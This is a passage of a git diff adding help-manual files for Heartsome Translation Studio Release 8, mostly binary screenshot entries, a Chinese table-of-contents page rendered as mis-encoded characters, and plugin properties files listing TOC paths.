0000000..3e90d8d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-3-option.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-4-result.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-4-result.png new file mode 100644 index 0000000..c9fb0ec Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/pre-translate-4-result.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/preview-transaltion.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/preview-transaltion.png new file mode 100644 index 0000000..1d27d82 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/preview-transaltion.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-rename-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-rename-1.png new file mode 100644 index 0000000..6cec07b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-rename-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-1.png new file mode 100644 index 0000000..a2ea85d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-2-basic-info.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-2-basic-info.png new file mode 100644 index 0000000..c2801e8 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-2-basic-info.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-3-language-pair.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-3-language-pair.png new file mode 100644 index 0000000..69de004 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-3-language-pair.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-4-tm.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-4-tm.png new file mode 100644 index 0000000..e0cd60f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-4-tm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-5-tb.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-5-tb.png new file mode 100644 index 0000000..deae6e7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-setting-5-tb.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-structure.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-structure.png new file mode 100644 index 0000000..75b23c7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/project-structure.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/propagation-translation.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/propagation-translation.png new file mode 100644 index 0000000..6b46db4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/propagation-translation.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-check-multiple-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-check-multiple-1-1.png new file mode 100644 index 0000000..f4b87fa Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-check-multiple-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-check-multiple-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-check-multiple-1-2.png new file mode 100644 index 0000000..7b6050a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-check-multiple-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-check-multiple-2-option.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-check-multiple-2-option.png new file mode 100644 index 0000000..f89b927 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-check-multiple-2-option.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-check-multiple-3-result.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-check-multiple-3-result.png new file mode 100644 index 0000000..f42a624 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-check-multiple-3-result.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-single-check.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-single-check.png new file mode 100644 index 0000000..4a06316 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/qa-single-check.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/quick-translation-1-tm.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/quick-translation-1-tm.png new file mode 100644 index 0000000..1677cf4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/quick-translation-1-tm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/quick-translation-2-tb.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/quick-translation-2-tb.png new file mode 100644 index 0000000..bfab797 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/quick-translation-2-tb.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/quick-translation-3.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/quick-translation-3.png new file mode 100644 index 0000000..455869d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/quick-translation-3.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/resize-height.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/resize-height.png new file mode 100644 index 0000000..1762b89 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/resize-height.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/resize-width.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/resize-width.png new file mode 100644 index 0000000..284b42c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/resize-width.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/run-as-administrator-uac.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/run-as-administrator-uac.png new file mode 100644 index 0000000..5519da3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/run-as-administrator-uac.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/run-as-administrator.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/run-as-administrator.png new file mode 100644 index 0000000..45cdab1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/run-as-administrator.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/search-term-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/search-term-1.png new file mode 100644 index 0000000..f30bb97 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/search-term-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/search-term-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/search-term-2.png new file mode 100644 index 0000000..df66d95 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/search-term-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-1-1.png new file mode 100644 index 0000000..a5cc2d2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-1-2.png new file mode 100644 index 0000000..09e8097 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-2-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-2-1.png new file mode 100644 index 0000000..b21d3e2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-2-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-2-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-2-2.png new file mode 100644 index 0000000..ef19831 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-2-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-3-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-3-1.png new file mode 100644 index 0000000..a0bd214 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-3-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-3-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-3-2.png new file mode 100644 index 0000000..3a6d86c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/segmentation-rule-manager-3-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-segment-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-segment-1.png new file mode 100644 index 0000000..8c4b575 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-segment-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-segment-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-segment-2.png new file mode 100644 index 0000000..4365577 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-segment-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-xliff-file-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-xliff-file-1.png new file mode 100644 index 0000000..3da223f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-xliff-file-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-xliff-file-2-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-xliff-file-2-1.png new file mode 100644 index 0000000..d2cd516 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-xliff-file-2-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-xliff-file-2-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-xliff-file-2-2.png new file mode 100644 index 0000000..8ad524e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/split-xliff-file-2-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/status-bar-tooltip.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/status-bar-tooltip.png new file mode 100644 index 0000000..4924f11 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/status-bar-tooltip.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/status-bar.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/status-bar.png new file mode 100644 index 0000000..fe5e79d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/status-bar.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tb-management.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tb-management.png new file mode 100644 index 0000000..30cb036 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tb-management.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/term-matches.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/term-matches.png new file mode 100644 index 0000000..ba1acb2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/term-matches.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-management-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-management-1.png new file mode 100644 index 0000000..fbd1c56 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-management-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-management-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-management-2.png new file mode 100644 index 0000000..2dd0c7e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-management-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-management-3.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-management-3.png new file mode 100644 index 0000000..7a764b7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-management-3.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches-delete.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches-delete.png new file mode 100644 index 0000000..c0ddb76 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches-delete.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches-edit-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches-edit-1.png new file mode 100644 index 0000000..b570e5f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches-edit-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches-edit-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches-edit-2.png new file mode 100644 index 0000000..8be1a5d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches-edit-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches-select.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches-select.png new file mode 100644 index 0000000..4e876de Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches-select.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches.png new file mode 100644 index 0000000..1183352 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/tm-matches.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/toolbar.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/toolbar.png new file mode 100644 index 0000000..3266694 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/toolbar.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/translation-analysis-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/translation-analysis-1-1.png new file mode 100644 index 0000000..29bae9a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/translation-analysis-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/translation-analysis-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/translation-analysis-1-2.png new file mode 100644 index 0000000..7ef2029 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/translation-analysis-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/translation-analysis-2-result.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/translation-analysis-2-result.png new file mode 100644 index 0000000..a443412 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/translation-analysis-2-result.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/unlock-segments-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/unlock-segments-2.png new file mode 100644 index 0000000..c044838 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/unlock-segments-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/unlock-segments.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/unlock-segments.png new file mode 100644 index 0000000..5a78eeb Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/unlock-segments.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/update-tm-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/update-tm-1.png new file mode 100644 index 0000000..b325a11 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/update-tm-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/update-tm-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/update-tm-2.png new file mode 100644 index 0000000..d7f79b8 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/update-tm-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/view-project.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/view-project.png new file mode 100644 index 0000000..a583337 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/view-project.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/view-qa.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/view-qa.png new file mode 100644 index 0000000..22baf8d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/view-qa.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/view-tb.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/view-tb.png new file mode 100644 index 0000000..a8734b0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/view-tb.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/view-tm.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/view-tm.png new file mode 100644 index 0000000..f4eed69 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/view-tm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-1-1.png new file mode 100644 index 0000000..e46edb7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-1-2.png new file mode 100644 index 0000000..e2b2e14 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-2-option-equivalent.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-2-option-equivalent.png new file mode 100644 index 0000000..517a1e0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-2-option-equivalent.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-2-option.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-2-option.png new file mode 100644 index 0000000..f75125d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-2-option.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-3-result.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-3-result.png new file mode 100644 index 0000000..3202bd8 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/word-analysis-3-result.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/workflow.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/workflow.png new file mode 100644 index 0000000..8210fac Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/workflow.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-add-filter-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-add-filter-1.png new file mode 100644 index 0000000..6e6c6b2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-add-filter-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-add-filter-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-add-filter-2.png new file mode 100644 index 0000000..28ff3c2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-add-filter-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-add-filter-3.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-add-filter-3.png new file mode 100644 index 0000000..3ce8da9 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-add-filter-3.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-filter-segments.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-filter-segments.png new file mode 100644 index 0000000..6ff4078 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-filter-segments.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-segment-status.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-segment-status.png new file mode 100644 index 0000000..3c878ef Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-segment-status.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-vertical.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-vertical.png new file mode 100644 index 0000000..6b03206 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor-vertical.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor.png new file mode 100644 index 0000000..1569fb9 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/xliff-editor.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/index.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/index.html new file mode 100644 index 0000000..0a09be0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/index.html @@ -0,0 +1,131 @@ + + + +Heartsome Translation Studio Release 8 帮助手册 + + + + + + + +
    + +
    +

    +Heartsome Translation Studio Release 8 帮助手册

    +
    +
    + +
    +

    帮助目录

    +
    +
    1. 新特性
    +
    2. 约定与术语
    +
    3. 许å¯è¯
    +
    4. ç•Œé¢æ¦‚览
    +
    +
    4.1. 主界é¢
    +
    4.2. 视图
    +
    +
    4.2.1. 认识视图
    +
    4.2.2. 使用视图
    +
    +
    4.3. XLIFF 编辑器
    +
    +
    5. 工作æµç¨‹
    +
    +
    5.1. 项目准备
    +
    +
    5.1.1. æºæ–‡ä»¶
    +
    5.1.2. TMX 文件
    +
    5.1.3. TBX 文件
    +
    5.1.4. æ•°æ®åº“æœåŠ¡å™¨
    +
    +
    5.2. 创建项目
    +
    +
    5.2.1. 项目信æ¯
    +
    5.2.2. 语言对
    +
    5.2.3. 记忆库
    +
    5.2.4. 术语库
    +
    5.2.5. æºæ–‡ä»¶
    +
    +
    5.3. 译å‰å‡†å¤‡
    +
    +
    5.3.1. 新建记忆库å‘导
    +
    5.3.2. 新建术语库å‘导
    +
    5.3.3. 添加æºæ–‡ä»¶
    +
    5.3.4. 转æ¢æºæ–‡ä»¶ä¸º XLIFF
    +
    5.3.5. é”定é‡å¤æ–‡æœ¬æ®µ
    +
    5.3.6. 预翻译
    +
    5.3.7. 字数分æž
    +
    5.3.8. 分割文件
    +
    5.3.9. 项目设置
    +
    +
    5.4. 翻译
    +
    +
    5.4.1. 打开文件
    +
    5.4.2. 输入译文
    +
    5.4.3. 在译文中æ’入标记
    +
    5.4.4. 修改文本段状æ€
    +
    5.4.5. 记忆库
    +
    5.4.6. 术语库
    +
    5.4.7. å“质检查
    +
    5.4.8. 快速翻译
    +
    5.4.9. 机器翻译
    +
    5.4.10. 过滤文本段
    +
    5.4.11. 翻译进度分æž
    +
    +
    5.5. 编辑与 QA
    +
    +
    5.5.1. 打开文件
    +
    5.5.2. 修改文本段状æ€
    +
    5.5.3. 编辑译文
    +
    5.5.4. 批注
    +
    5.5.5. 编辑进度分æž
    +
    5.5.6. RTF 外部校对
    +
    5.5.7. å“质检查
    +
    5.5.8. 预览翻译
    +
    +
    5.6. 完æˆé¡¹ç›®
    +
    +
    5.6.1. åˆå¹¶æ–‡ä»¶
    +
    5.6.2. 解é”é‡å¤æ–‡æœ¬æ®µ
    +
    5.6.3. ç¹æ®–翻译
    +
    5.6.4. å°† XLIFF 转æ¢ä¸ºç›®æ ‡æ–‡ä»¶
    +
    +
    +
    6. 记忆库和术语库的维护和管ç†
    +
    +
    6.1. 更新记忆库
    +
    6.2. 记忆库管ç†
    +
    +
    6.2.1. 创建
    +
    6.2.2. 删除
    +
    +
    6.3. 将记忆库导出为 TMX
    +
    6.4. 术语库管ç†
    +
    6.5. 将术语库导出为 TBX
    +
    +
    7. 团队å作
    +
    +
    7.1. æ•°æ®åº“的共享
    +
    7.2. 导出项目
    +
    +
    7.2.1. æµç¨‹ä¼ é€’
    +
    7.2.2. 项目分å‘
    +
    +
    7.3. 导入项目
    +
    +
    7.3.1. æµç¨‹ä¼ é€’
    +
    7.3.2. 汇总更新
    +
    +
    7.4. RTF 外部校对
    +
    +
    8. 处ç†ä¸åŒçš„文件格å¼
    +
    9. 常è§é—®é¢˜
    +
    +
    + +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/img/splash.bmp b/ts/net.heartsome.cat.ts.ui.help/img/splash.bmp new file mode 100644 index 0000000..99c9121 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/img/splash.bmp differ diff --git a/ts/net.heartsome.cat.ts.ui.help/plugin.properties b/ts/net.heartsome.cat.ts.ui.help/plugin.properties new file mode 100644 index 0000000..4b6effe --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/plugin.properties @@ -0,0 +1,13 @@ +# properties file for locale [zh] +help.toc.index = toc/zh/indexToc.xml +help.toc.ch1 = toc/zh/ch1Toc.xml +help.toc.ch2 = toc/zh/ch2Toc.xml +help.toc.ch3 = toc/zh/ch3Toc.xml +help.toc.ch4 = toc/zh/ch4Toc.xml +help.toc.ch5 = toc/zh/ch5Toc.xml +help.toc.ch6 = toc/zh/ch6Toc.xml +help.toc.ch7 = toc/zh/ch7Toc.xml +help.toc.ch8 = toc/zh/ch8Toc.xml +help.toc.ch9 = toc/zh/ch9Toc.xml +help.toc.imag = toc/zh/imagToc.xml +help.toc.demo = toc/zh/demoToc.xml diff --git a/ts/net.heartsome.cat.ts.ui.help/plugin.xml b/ts/net.heartsome.cat.ts.ui.help/plugin.xml new file mode 100644 index 0000000..4ff05dc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/plugin.xml @@ -0,0 +1,72 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/plugin_en.properties b/ts/net.heartsome.cat.ts.ui.help/plugin_en.properties new file mode 100644 index 0000000..9544701 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/plugin_en.properties @@ -0,0 +1,13 @@ +# properties file for locale [en] +help.toc.index = toc/en/indexToc.xml +help.toc.ch1 = toc/en/ch1Toc.xml +help.toc.ch2 = toc/en/ch2Toc.xml +help.toc.ch3 = toc/en/ch3Toc.xml +help.toc.ch4 = toc/en/ch4Toc.xml +help.toc.ch5 = toc/en/ch5Toc.xml +help.toc.ch6 = toc/en/ch6Toc.xml +help.toc.ch7 = toc/en/ch7Toc.xml +help.toc.ch8 = toc/en/ch8Toc.xml +help.toc.ch9 = toc/en/ch9Toc.xml +help.toc.imag = toc/en/imagToc.xml +help.toc.demo = toc/en/demoToc.xml diff --git a/ts/net.heartsome.cat.ts.ui.help/plugin_zh.properties b/ts/net.heartsome.cat.ts.ui.help/plugin_zh.properties new file mode 100644 index 0000000..4b6effe --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/plugin_zh.properties @@ -0,0 +1,13 @@ +# properties file for locale [zh] +help.toc.index = toc/zh/indexToc.xml +help.toc.ch1 = toc/zh/ch1Toc.xml +help.toc.ch2 = toc/zh/ch2Toc.xml +help.toc.ch3 = toc/zh/ch3Toc.xml +help.toc.ch4 = toc/zh/ch4Toc.xml +help.toc.ch5 = toc/zh/ch5Toc.xml +help.toc.ch6 = toc/zh/ch6Toc.xml +help.toc.ch7 = toc/zh/ch7Toc.xml +help.toc.ch8 = toc/zh/ch8Toc.xml +help.toc.ch9 = toc/zh/ch9Toc.xml +help.toc.imag = toc/zh/imagToc.xml +help.toc.demo = toc/zh/demoToc.xml diff --git a/ts/net.heartsome.cat.ts.ui.help/scripts/.cvsignore b/ts/net.heartsome.cat.ts.ui.help/scripts/.cvsignore new file mode 100644 index 0000000..53752db --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/scripts/.cvsignore @@ -0,0 +1 @@ +output diff --git a/ts/net.heartsome.cat.ts.ui.help/scripts/.gitignore 